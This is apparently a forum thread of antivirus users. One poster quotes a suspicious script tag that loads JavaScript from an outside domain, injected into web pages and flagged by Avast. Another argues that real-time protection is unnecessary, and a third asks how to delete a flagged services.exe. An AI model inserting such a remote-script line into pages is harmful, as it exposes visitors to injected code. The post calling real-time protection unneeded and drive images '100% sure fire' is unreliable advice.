Since I changed my broadband isp most web pages have this script on top:

<script language="javascript" SRC="http://v.freefl.info/day.js"></script>

Many times the avast home edition indicates an alert of malware. Can anyone help me understand and repair this phenomenon?

I simply do not understand why people get so worked up  about virus/trojan/malware removal and prevention and why they waste time and resources with real time prevention when it really is not needed. I do think it is a good idea to scan for viruses and malware once a week or so to make sure your system is running a peak performance. You want to prevent a virus from doing any harm, there is a simple and 100% sure fire solution ....  use a program like Paragon ( free version ) and keep a current drive image on an external media. If you get hit... get a cup of coffee, have a donut, and relax while your drive is restored.

Shoot, I've been doing this for over 20 years now and have been hit a few times but it was no big deal and I was down what .. an hour or so while it was restored.

I prefer to not let the malware onto my system in the first place.

How many hours have you wasted doing your weekly scans ?

I also make sure that I start with a clean system and then use my favorite Antivirus Program (avast!) and a few Malware scanners.
No weekly scans. If something isn't right, restore to a previous day using my backup program.
Simple efficient and far less time consuming. IMHO

Hi friends! I have some problems with my PC! After doing an Avast complete control I have some found already some viruses. The last one it's something like services.exe but I can't erase it in anyway! I have tried moving it to the trash, erasing and searching the file from "My PC" but I can't. Is it any other form of erasing viruses? Or another powerful Avast tool which I don't know? Thanks a lot! ???
